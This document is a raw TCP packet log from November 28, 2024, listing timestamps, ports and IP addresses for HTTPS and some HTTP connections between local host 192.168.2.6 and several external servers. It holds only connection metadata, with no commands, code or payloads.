Nov 28, 2024 00:19:22.604743004 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.604748011 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.604784966 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.604804993 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.606261969 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.606311083 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.606316090 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.606343031 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.606363058 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.606385946 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.613456011 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.613481998 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.613539934 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.613544941 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.613586903 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.621737957 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.621756077 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.621835947 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.621841908 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.622714043 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.630376101 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.630392075 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.630462885 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.630467892 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.630506039 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.631181955 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.631251097 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.631331921 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.631424904 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.631434917 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.631445885 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.631452084 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.638070107 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.638087034 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.638135910 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.638142109 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.638190031 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.651052952 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.651072025 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.651153088 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.651168108 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.651256084 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.658597946 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.658677101 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.664891958 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.664902925 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.672416925 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.712820053 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.712835073 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.712903023 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.712940931 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.713006973 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.716540098 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.716600895 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.716654062 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.722913980 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.747237921 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.747247934 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.747704029 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.747709990 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.749177933 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.749200106 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.773205042 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.773233891 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.773288965 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.773293972 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.773351908 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.780838013 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.780857086 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.780916929 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.780924082 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.780982971 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.789779902 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.789796114 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.789856911 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.789865017 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.790108919 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.798270941 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.798351049 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.819166899 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.819179058 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.819190025 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.819195986 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.829160929 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.829178095 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.829247952 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.830949068 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.830969095 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.831046104 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.858994007 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.859040976 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.859246016 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.859782934 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.859800100 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.859968901 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.859983921 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.867341042 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.867410898 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.951273918 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.951303959 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.958595037 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.958619118 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.958718061 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.958838940 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.958853006 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:23.007328033 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.007369995 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.041488886 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.041534901 CET	443	49737	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:23.041584969 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.042021036 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.042038918 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:23.042093992 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.042278051 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.042292118 CET	443	49739	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:23.042354107 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.042560101 CET	49740	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.042582035 CET	443	49740	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:23.042855978 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.042860985 CET	49740	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.042871952 CET	443	49739	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:23.043056011 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.043073893 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:23.043189049 CET	49737	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.043203115 CET	443	49737	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:23.043337107 CET	49740	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:23.043349981 CET	443	49740	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:23.123967886 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:23.124037027 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:23.124083042 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:23.126679897 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:23.126686096 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:23.130834103 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:23.130842924 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:23.130918980 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:23.131155014 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:23.131162882 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:23.210544109 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.212327957 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.212336063 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.230782032 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.230788946 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.230803967 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.230856895 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.230861902 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.230871916 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.230962992 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.230967999 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.230992079 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.231000900 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.231103897 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.231108904 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.231173038 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.232659101 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.232742071 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.240072012 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.240077019 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.286176920 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.286191940 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.286202908 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.286211967 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.286262989 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.286330938 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.287043095 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.287127018 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.287782907 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.287796021 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.288482904 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:23.288523912 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:23.288717031 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:23.289139986 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:23.289156914 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:23.296046019 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.303177118 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.303185940 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.768532991 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.768560886 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.768670082 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.768903017 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.768918037 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.890847921 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.890882969 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:23.890963078 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.891263962 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:23.891282082 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:24.591989040 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.592458963 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.592484951 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.593249083 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.593255997 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.653507948 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.657856941 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.657880068 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.658602953 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.658608913 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.686386108 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.686897039 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.686920881 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.687541008 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.687546015 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.748825073 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.749475956 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.749485970 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.750591040 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.750648022 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.757780075 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.757868052 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.758188009 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.758194923 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.794787884 CET	443	49739	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.795047998 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.795074940 CET	443	49739	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.796153069 CET	443	49739	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.796205044 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.796636105 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.796700001 CET	443	49739	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.796808004 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.796813011 CET	443	49739	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:24.811522007 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.813724995 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.814207077 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.814224958 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.814666033 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.814670086 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.842350960 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:24.988317966 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.988967896 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.988981009 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:24.989623070 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:24.989628077 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.035056114 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.035109997 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.035235882 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.035443068 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.035459995 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.035474062 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.035481930 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.037811041 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.037830114 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.037940025 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.038108110 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.038111925 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.049876928 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.049956083 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.055507898 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.055525064 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.055764914 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.055811882 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.056365967 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.065696001 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:25.065792084 CET	443	49739	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:25.065972090 CET	49739	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:25.071470976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:25.071527004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:25.091463089 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:25.091497898 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:25.091583014 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:25.092905998 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:25.092919111 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:25.099342108 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.106051922 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.106117964 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.106197119 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.106427908 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.106440067 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.106451035 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.106456041 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.109087944 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.109108925 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.109170914 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.109302044 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.109316111 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.130743027 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.130829096 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.130882978 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.131055117 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.131068945 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.131079912 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.131086111 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.133605003 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.133625031 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.133728027 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.133861065 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.133867025 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.273570061 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.273735046 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.273883104 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.273941040 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.273957968 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.273968935 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.273973942 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.276968956 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.276987076 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.277055979 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.277185917 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.277194023 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.362576008 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.362648010 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:25.363137007 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:25.363145113 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.363481998 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:25.363487959 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.449429989 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.449497938 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.449738026 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.449866056 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.449866056 CET	49741	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.449877977 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.449886084 CET	443	49741	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.452811003 CET	49753	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.452841043 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.452898026 CET	49753	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.453092098 CET	49753	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:25.453110933 CET	443	49753	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:25.548912048 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.549010038 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.549031019 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.549055099 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.549087048 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.549103975 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.549160004 CET	49744	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.549173117 CET	443	49744	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.550544024 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.550621033 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:25.550708055 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.550735950 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.550868034 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.551074028 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:25.551084995 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.551134109 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:25.551146984 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:25.551332951 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:25.551338911 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.584393024 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:25.585870981 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:25.585944891 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:25.587208033 CET	49738	443	192.168.2.6	172.217.21.36
Nov 28, 2024 00:19:25.587217093 CET	443	49738	172.217.21.36	192.168.2.6
Nov 28, 2024 00:19:25.872919083 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.872950077 CET	443	49745	150.171.27.10	192.168.2.6
